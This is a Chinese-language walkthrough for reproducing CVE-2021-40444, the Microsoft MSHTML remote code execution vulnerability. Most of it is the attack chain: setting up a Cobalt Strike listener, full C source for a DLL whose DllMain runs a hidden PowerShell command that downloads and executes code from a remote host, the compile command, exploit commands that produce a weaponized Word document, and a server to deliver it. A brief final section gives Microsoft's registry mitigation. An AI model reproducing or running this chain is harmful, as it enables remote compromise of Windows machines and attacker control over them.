CVE-2021-40444_Microsoft MSHTML 远程代码执行复现
描述
未经身份验证的攻击者可以利用该漏洞在目标系统上远程执行代码。微软官方表示已经监测到该漏洞存在在野利用。目前微软暂未发布相关补丁,用户可通过禁用ActiveX控件的方式暂时避免该漏洞利用
准备
1.下载github的代码
https://github.com/lockedbyte/CVE-2021-40444
2.安装lcab
sudo apt-get install lcab
3.安装编译环境
apt-get install mingw-w64
上线
设置cs,powershell,端口设置了8080
制作dll文件
读取REPRODUCE.md
即可知道如何制作dll,shell.c记得里面的端口是8080
1.shell.c
#include <windows.h>
void exec(void) {
system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8080/a'))\"");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
2.编译
i686-w64-mingw32-gcc -shared shell.c -o shell.dll
3.放入test目录
运行poc生成docx
python3 exploit.py generate test/shell.dll http://xx.xx.xx.xx #公网服务器主机
公网服务器主机开启web服务
python3 -m http.server 80
在目标主机打开文档即可上线
修复
微软提供了临时缓解措施:在 Internet Explorer 中禁用所有 ActiveX 控件的安装。
操作如下:
将如下代码复制到文本文件中并以 .reg 文件扩展名保存:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003
2、双击该 .reg 文件。
3、重启系统。